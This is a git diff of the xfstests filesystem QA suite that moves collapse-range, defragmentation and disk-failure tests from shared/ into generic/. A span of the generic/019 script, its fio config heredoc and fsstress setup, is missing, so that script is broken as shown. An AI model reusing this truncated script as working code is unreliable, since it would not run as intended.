+f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/generic/017 b/tests/generic/017 new file mode 100755 index 0000000..93a4045 --- /dev/null +++ b/tests/generic/017 @@ -0,0 +1,90 @@ +#! /bin/bash +# FS QA Test No. generci/017 +# +# Test multiple fallocate collapse range calls on same file. +# For different blocksizes, collapse a single alternate block multiple times +# until the file is left with 80 blocks and as much number of extents. +# Also check for file system consistency after completing this operation +# for each blocksize. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_scratch +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse +_do_die_on_error=y +testfile=$SCRATCH_MNT/$seq.$$ +BLOCKS=10240 + +for (( BSIZE = 1024; BSIZE <= 4096; BSIZE *= 2 )); do + + length=$(($BLOCKS * $BSIZE)) + case $FSTYP in + xfs) + _scratch_mkfs -b size=$BSIZE >> $seqres.full 2>&1 + ;; + ext4) + _scratch_mkfs -b $BSIZE >> $seqres.full 2>&1 + ;; + esac + _scratch_mount >> $seqres.full 2>&1 + + # Write file + $XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null + + # Collapse alternate blocks + for (( i = 1; i <= 7; i++ )); do + for (( j=0; j < $(($BLOCKS/(2**$i))); j++ )); do + offset=$(($j*$BSIZE)) + $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null + done + done + + # Check if 80 extents are present + $XFS_IO_PROG -c "fiemap -v" $testfile | grep "^ *[0-9]*:" |wc -l + + _check_scratch_fs + if [ $? -ne 0 ]; then + status=1 + exit + fi + + umount $SCRATCH_MNT +done + +# success, all done +status=0 +exit diff --git a/tests/generic/017.out b/tests/generic/017.out new file mode 100644 index 0000000..cc524ac --- /dev/null +++ b/tests/generic/017.out @@ -0,0 +1,4 @@ +QA output created by 017 +80 +80 +80 diff --git a/tests/generic/018 b/tests/generic/018 new file mode 100755 index 0000000..2544391 --- /dev/null +++ b/tests/generic/018 @@ -0,0 +1,93 @@ +#! /bin/bash +# FS QA Test No. generic/018 +# +# Basic defragmentation sanity tests +# +#----------------------------------------------------------------------- +# Copyright (c) 2009 Eric Sandeen. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/defrag + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +# We require scratch so that we'll have free contiguous space +_require_scratch +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_require_defrag + +fragfile=$SCRATCH_MNT/fragfile.$$ + +rm -f $fragfile + +# Craft some fragmented files, defrag them, check the result. + +echo "zero-length file:" | tee -a $seqres.full +touch $fragfile +_defrag $fragfile + +echo "Sparse file (no blocks):" | tee -a $seqres.full +$XFS_IO_PROG -f -c "truncate 1m" $fragfile +_defrag $fragfile + +echo "Contiguous file:" | tee -a $seqres.full +dd if=/dev/zero of=$fragfile bs=4k count=4 &>/dev/null +_defrag $fragfile + +echo "Write backwards sync, but contiguous - should defrag to 1 extent" | tee -a $seqres.full +for I in `seq 9 -1 0`; do + dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null +done +_defrag $fragfile + +echo "Write backwards sync leaving holes - defrag should do nothing" | tee -a $seqres.full +for I in `seq 31 -2 0`; do + dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null +done +_defrag $fragfile + +echo "Write forwards sync leaving holes - defrag should do nothing" | tee -a $seqres.full +for I in `seq 0 2 31`; do + dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null +done +_defrag $fragfile + +rm -f $seqres.full +status=0 +exit diff --git a/tests/generic/018.out b/tests/generic/018.out new file mode 100644 index 0000000..5f265d1 --- /dev/null +++ b/tests/generic/018.out @@ -0,0 +1,19 @@ +QA output created by 018 +zero-length file: +Before: 0 +After: 0 +Sparse file (no blocks): +Before: 0 +After: 0 +Contiguous file: +Before: 1 +After: 1 +Write backwards sync, but contiguous - should defrag to 1 extent +Before: 10 +After: 1 +Write backwards sync leaving holes - defrag should do nothing +Before: 16 +After: 16 +Write forwards sync leaving holes - defrag should do nothing +Before: 16 +After: 16 diff --git a/tests/generic/019 b/tests/generic/019 new file mode 100755 index 0000000..1208c49 --- /dev/null +++ b/tests/generic/019 @@ -0,0 +1,187 @@ +#! /bin/bash +# FSQA Test No. generic/019 +# +# Run fsstress and fio(dio/aio and mmap) and simulate disk failure +# check filesystem consistency at the end. +# +#----------------------------------------------------------------------- +# (c) 2013 Dmitry Monakhov +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +fio_config=$tmp.fio +status=1 # failure is the default! + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +_supported_fs generic +_supported_os Linux +_need_to_be_root +_require_scratch +_require_fail_make_request + +# TODO: Function are common enough to be moved to common/blkdev +SCRATCH_REAL_DEV=`readlink -f $SCRATCH_DEV` +SCRATCH_BDEV=`basename $SCRATCH_REAL_DEV` + +allow_fail_make_request() +{ + echo "Allow global fail_make_request feature" + echo 100 > $DEBUGFS_MNT/fail_make_request/probability + echo 9999999 > $DEBUGFS_MNT/fail_make_request/times + echo 0 > /sys/kernel/debug/fail_make_request/verbose +} + +disallow_fail_make_request() +{ + echo "Disallow global fail_make_request feature" + echo 0 > $DEBUGFS_MNT/fail_make_request/probability + echo 0 > $DEBUGFS_MNT/fail_make_request/times +} + +start_fail_scratch_dev() +{ + echo "Force SCRATCH_DEV device failure" + echo " echo 1 > /sys/block/$SCRATCH_BDEV/make-it-fail" >> $seqres.full + echo 1 > /sys/block/$SCRATCH_BDEV/make-it-fail + +} + +stop_fail_scratch_dev() +{ + echo "Make SCRATCH_DEV device operable again" + echo " echo 0 > /sys/block/$SCRATCH_BDEV/make-it-fail" >> $seqres.full + echo 0 > /sys/block/$SCRATCH_BDEV/make-it-fail + +} + +_cleanup() +{ + poweron_scratch_dev + disallow_fail_make_request + rm -f $tmp.* +} +trap "_cleanup; exit \$status" 1 2 3 15 + +RUN_TIME=$((20+10*$TIME_FACTOR)) +NUM_JOBS=$((4*LOAD_FACTOR)) +BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` +FILE_SIZE=$((BLK_DEV_SIZE * 512)) + +cat >$fio_config <> $seqres.full + $FSSTRESS_PROG $args > /dev/null 2>&1 & + fs_pid=$! + echo "Start fio.." + cat $fio_config >> $seqres.full + $FIO_PROG $fio_config >> $seqres.full 2>&1 & + fio_pid=$! + + # Let's it work for awhile, and force device failure + sleep $RUN_TIME + start_fail_scratch_dev + # After device turns in to failed state filesystem may yet not know about + # that so buffered write(2) may succeed, but any integrity operations + # such as (sync, fsync, fdatasync, direct-io) should fail. + dd if=/dev/zero of=$SCRATCH_MNT/touch_failed_filesystem count=1 bs=4k conv=fsync \ + >> $seqres.full 2>&1 && \ + _fail "failed: still able to perform integrity fsync on $SCRATCH_MNT" + + kill $fs_pid + wait $fs_pid + wait $fio_pid + + # We expect that broken FS still can be umounted + run_check umount $SCRATCH_DEV + # Once filesystem was umounted no one is able to write to block device + # It is now safe to bring device back to normal state + stop_fail_scratch_dev + + # In order to check that filesystem is able to recover journal on mount(2) + # perform mount/umount, after that all errors should be fixed + run_check _scratch_mount + run_check _scratch_unmount + _check_scratch_fs +} + +# real QA test starts here + +_scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" +_scratch_mount || _fail "mount failed" +allow_fail_make_request +_workout +status=$? +disallow_fail_make_request +exit diff --git a/tests/generic/019.out b/tests/generic/019.out new file mode 100644 index 0000000..36c2af8 --- /dev/null +++ b/tests/generic/019.out @@ -0,0 +1,9 @@ +QA output created by 019 +Allow global fail_make_request feature + +Start fsstress.. + +Start fio.. +Force SCRATCH_DEV device failure +Make SCRATCH_DEV device operable again +Disallow global fail_make_request feature diff --git a/tests/generic/group b/tests/generic/group index a99b6a1..5065780 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -6,15 +6,22 @@ 001 rw dir udf auto quick 002 metadata udf auto quick 003 atime auto quick +004 auto quick prealloc 005 dir udf auto quick 006 dir udf auto quick 007 dir udf auto quick 008 auto quick prealloc +009 auto quick prealloc 010 other udf auto 011 dir udf auto quick +012 auto quick prealloc 013 other ioctl udf auto quick 014 rw udf auto quick 015 other auto quick +016 auto quick prealloc +017 auto prealloc +018 auto fsr quick +019 aio dangerous enospc rw stress 020 metadata attr udf auto quick 053 acl repair auto quick 062 attr udf auto quick diff --git a/tests/shared/001 b/tests/shared/001 deleted file mode 100755 index 9383ccb..0000000 --- a/tests/shared/001 +++ /dev/null @@ -1,65 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/001 -# -# Standard collapse range tests -# This testcase is one of the 4 testcases (shared 001 - 004) which tries to -# test various corner cases for fcollapse range functionality over different -# type of extents. These tests are based on generic/255 test case. -# For the type of tests, check the description of _test_generic_punch -# in common/rc. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! - -_cleanup() -{ - rm -f $tmp.* -} - -trap "_cleanup ; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -# we need to include common/punch to get defination fo filter functions -. ./common/rc -. ./common/filter -. ./common/punch - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_xfs_io_falloc_punch -_require_xfs_io_falloc -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse - -testfile=$TEST_DIR/$seq.$$ - -_test_generic_punch falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile -_check_test_fs - -status=0 -exit diff --git a/tests/shared/001.out b/tests/shared/001.out deleted file mode 100644 index 919dd12..0000000 --- a/tests/shared/001.out +++ /dev/null @@ -1,49 +0,0 @@ -QA output created by 001 - 1. into a hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 2. into allocated space -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 - 3. into unwritten space -0: [0..95]: extent -f4f35d60b3cc18aaa6d8d92f0cd3708a - 4. hole -> data -0: [0..31]: hole -1: [32..63]: extent -2: [64..95]: hole -d8f51c20223dbce5c7c90db87bc221b0 - 5. hole -> unwritten -0: [0..31]: hole -1: [32..63]: extent -2: [64..95]: hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 6. data -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 7. data -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 8. unwritten -> hole -0: [0..31]: extent -1: [32..95]: hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 9. unwritten -> data -0: [0..63]: extent -1: [64..95]: hole -d8f51c20223dbce5c7c90db87bc221b0 - 10. hole -> data -> hole -bb7df04e1b0a2570657527a7e108ae23 - 11. data -> hole -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 12. unwritten -> data -> unwritten -0: [0..63]: extent -bb7df04e1b0a2570657527a7e108ae23 - 13. data -> unwritten -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 14. data -> hole @ 0 -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/002 b/tests/shared/002 deleted file mode 100644 index a9e54ba..0000000 --- a/tests/shared/002 +++ /dev/null @@ -1,65 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/002 -# -# Delayed allocation collapse range tests -# This testcase is one of the 4 testcases (shared 001 - 004) which tries to -# test various corner cases for fcollapse range functionality over different -# type of extents. These tests are based on generic/255 test case. -# For the type of tests, check the description of _test_generic_punch -# in common/rc. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! - -_cleanup() -{ - rm -f $tmp.* -} - -trap "_cleanup ; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -# we need to include common/punch to get defination fo filter functions -. ./common/rc -. ./common/filter -. ./common/punch - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_xfs_io_falloc_punch -_require_xfs_io_falloc -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse - -testfile=$TEST_DIR/$seq.$$ - -_test_generic_punch -d falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile -_check_test_fs - -status=0 -exit diff --git a/tests/shared/002.out b/tests/shared/002.out deleted file mode 100644 index 60aaadc..0000000 --- a/tests/shared/002.out +++ /dev/null @@ -1,49 +0,0 @@ -QA output created by 002 - 1. into a hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 2. into allocated space -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 - 3. into unwritten space -0: [0..95]: extent -f4f35d60b3cc18aaa6d8d92f0cd3708a - 4. hole -> data -0: [0..31]: hole -1: [32..63]: extent -2: [64..95]: hole -d8f51c20223dbce5c7c90db87bc221b0 - 5. hole -> unwritten -0: [0..31]: hole -1: [32..63]: extent -2: [64..95]: hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 6. data -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 7. data -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 8. unwritten -> hole -0: [0..31]: extent -1: [32..95]: hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 9. unwritten -> data -0: [0..63]: extent -1: [64..95]: hole -d8f51c20223dbce5c7c90db87bc221b0 - 10. hole -> data -> hole -bb7df04e1b0a2570657527a7e108ae23 - 11. data -> hole -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 12. unwritten -> data -> unwritten -0: [0..63]: extent -bb7df04e1b0a2570657527a7e108ae23 - 13. data -> unwritten -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 14. data -> hole @ 0 -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/003 b/tests/shared/003 deleted file mode 100644 index b6e9fd4..0000000 --- a/tests/shared/003 +++ /dev/null @@ -1,65 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/003 -# -# Multi collapse range tests -# This testcase is one of the 4 testcases (shared 001 - 004) which tries to -# test various corner cases for fcollapse range functionality over different -# type of extents. These tests are based on generic/255 test case. -# For the type of tests, check the description of _test_generic_punch -# in common/rc. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! - -_cleanup() -{ - rm -f $tmp.* -} - -trap "_cleanup ; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -# we need to include common/punch to get defination fo filter functions -. ./common/rc -. ./common/filter -. ./common/punch - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_xfs_io_falloc_punch -_require_xfs_io_falloc -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse - -testfile=$TEST_DIR/$seq.$$ - -_test_generic_punch -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile -_check_test_fs - -status=0 -exit diff --git a/tests/shared/003.out b/tests/shared/003.out deleted file mode 100644 index 0a786c9..0000000 --- a/tests/shared/003.out +++ /dev/null @@ -1,49 +0,0 @@ -QA output created by 003 - 1. into a hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 2. into allocated space -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 - 3. into unwritten space -0: [0..95]: extent -f07217d5ac7ffa15dd8910c4aa912674 - 4. hole -> data -0: [0..63]: extent -1: [64..95]: hole -e5c94f6299822646f9f57aeacd8bdc01 - 5. hole -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 6. data -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 7. data -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 8. unwritten -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 9. unwritten -> data -0: [0..63]: extent -1: [64..95]: hole -e5c94f6299822646f9f57aeacd8bdc01 - 10. hole -> data -> hole -0: [0..31]: extent -1: [32..63]: hole -76cc863b386460b228a493933813a6a0 - 11. data -> hole -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 12. unwritten -> data -> unwritten -0: [0..63]: extent -76cc863b386460b228a493933813a6a0 - 13. data -> unwritten -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 14. data -> hole @ 0 -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/004 b/tests/shared/004 deleted file mode 100644 index f55aae4..0000000 --- a/tests/shared/004 +++ /dev/null @@ -1,65 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/004 -# -# Delayed allocation multi collapse range tests -# This testcase is one of the 4 testcases (shared 001 - 004) which tries to -# test various corner cases for fcollapse range functionality over different -# type of extents. These tests are based on generic/255 test case. -# For the type of tests, check the description of _test_generic_punch -# in common/rc. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! - -_cleanup() -{ - rm -f $tmp.* -} - -trap "_cleanup ; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -# we need to include common/punch to get defination fo filter functions -. ./common/rc -. ./common/filter -. ./common/punch - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_xfs_io_falloc_punch -_require_xfs_io_falloc -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse - -testfile=$TEST_DIR/$seq.$$ - -_test_generic_punch -d -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile -_check_test_fs - -status=0 -exit diff --git a/tests/shared/004.out b/tests/shared/004.out deleted file mode 100644 index 9ccffd7..0000000 --- a/tests/shared/004.out +++ /dev/null @@ -1,49 +0,0 @@ -QA output created by 004 - 1. into a hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 2. into allocated space -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 - 3. into unwritten space -0: [0..95]: extent -f07217d5ac7ffa15dd8910c4aa912674 - 4. hole -> data -0: [0..63]: extent -1: [64..95]: hole -e5c94f6299822646f9f57aeacd8bdc01 - 5. hole -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 6. data -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 7. data -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 8. unwritten -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 9. unwritten -> data -0: [0..63]: extent -1: [64..95]: hole -e5c94f6299822646f9f57aeacd8bdc01 - 10. hole -> data -> hole -0: [0..31]: extent -1: [32..63]: hole -76cc863b386460b228a493933813a6a0 - 11. data -> hole -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 12. unwritten -> data -> unwritten -0: [0..63]: extent -76cc863b386460b228a493933813a6a0 - 13. data -> unwritten -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 14. data -> hole @ 0 -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/005 b/tests/shared/005 deleted file mode 100644 index c6d4bb6..0000000 --- a/tests/shared/005 +++ /dev/null @@ -1,90 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/005 -# -# Test multiple fallocate collapse range calls on same file. -# For different blocksizes, collapse a single alternate block multiple times -# until the file is left with 80 blocks and as much number of extents. -# Also check for file system consistency after completing this operation -# for each blocksize. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! -trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -. ./common/rc -. ./common/filter - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_scratch -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse -_do_die_on_error=y -testfile=$SCRATCH_MNT/$seq.$$ -BLOCKS=10240 - -for (( BSIZE = 1024; BSIZE <= 4096; BSIZE *= 2 )); do - - length=$(($BLOCKS * $BSIZE)) - case $FSTYP in - xfs) - _scratch_mkfs -b size=$BSIZE >> $seqres.full 2>&1 - ;; - ext4) - _scratch_mkfs -b $BSIZE >> $seqres.full 2>&1 - ;; - esac - _scratch_mount >> $seqres.full 2>&1 - - # Write file - $XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null - - # Collapse alternate blocks - for (( i = 1; i <= 7; i++ )); do - for (( j=0; j < $(($BLOCKS/(2**$i))); j++ )); do - offset=$(($j*$BSIZE)) - $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null - done - done - - # Check if 80 extents are present - $XFS_IO_PROG -c "fiemap -v" $testfile | grep "^ *[0-9]*:" |wc -l - - _check_scratch_fs - if [ $? -ne 0 ]; then - status=1 - exit - fi - - umount $SCRATCH_MNT -done - -# success, all done -status=0 -exit diff --git a/tests/shared/005.out b/tests/shared/005.out deleted file mode 100644 index 8d30b9d..0000000 --- a/tests/shared/005.out +++ /dev/null @@ -1,4 +0,0 @@ -QA output created by 005 -80 -80 -80 diff --git a/tests/shared/218 b/tests/shared/218 deleted file mode 100755 index cd2076e..0000000 --- a/tests/shared/218 +++ /dev/null @@ -1,93 +0,0 @@ -#! /bin/bash -# FS QA Test No. 218 -# -# Basic defragmentation sanity tests -# -#----------------------------------------------------------------------- -# Copyright (c) 2009 Eric Sandeen. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=tmp/$$ -status=1 # failure is the default! -trap "_cleanup; exit \$status" 0 1 2 3 15 - -_cleanup() -{ - cd / - rm -f $tmp.* -} - -# get standard environment, filters and checks -. ./common/rc -. ./common/filter -. ./common/defrag - -# real QA test starts here -_supported_fs xfs ext4 btrfs -_supported_os Linux - -# We require scratch so that we'll have free contiguous space -_require_scratch -_scratch_mkfs >/dev/null 2>&1 -_scratch_mount - -_require_defrag - -fragfile=$SCRATCH_MNT/fragfile.$$ - -rm -f $fragfile - -# Craft some fragmented files, defrag them, check the result. - -echo "zero-length file:" | tee -a $seqres.full -touch $fragfile -_defrag $fragfile - -echo "Sparse file (no blocks):" | tee -a $seqres.full -$XFS_IO_PROG -f -c "truncate 1m" $fragfile -_defrag $fragfile - -echo "Contiguous file:" | tee -a $seqres.full -dd if=/dev/zero of=$fragfile bs=4k count=4 &>/dev/null -_defrag $fragfile - -echo "Write backwards sync, but contiguous - should defrag to 1 extent" | tee -a $seqres.full -for I in `seq 9 -1 0`; do - dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null -done -_defrag $fragfile - -echo "Write backwards sync leaving holes - defrag should do nothing" | tee -a $seqres.full -for I in `seq 31 -2 0`; do - dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null -done -_defrag $fragfile - -echo "Write forwards sync leaving holes - defrag should do nothing" | tee -a $seqres.full -for I in `seq 0 2 31`; do - dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null -done -_defrag $fragfile - -rm -f $seqres.full -status=0 -exit diff --git a/tests/shared/218.out b/tests/shared/218.out deleted file mode 100644 index 7559cdd..0000000 --- a/tests/shared/218.out +++ /dev/null @@ -1,19 +0,0 @@ -QA output created by 218 -zero-length file: -Before: 0 -After: 0 -Sparse file (no blocks): -Before: 0 -After: 0 -Contiguous file: -Before: 1 -After: 1 -Write backwards sync, but contiguous - should defrag to 1 extent -Before: 10 -After: 1 -Write backwards sync leaving holes - defrag should do nothing -Before: 16 -After: 16 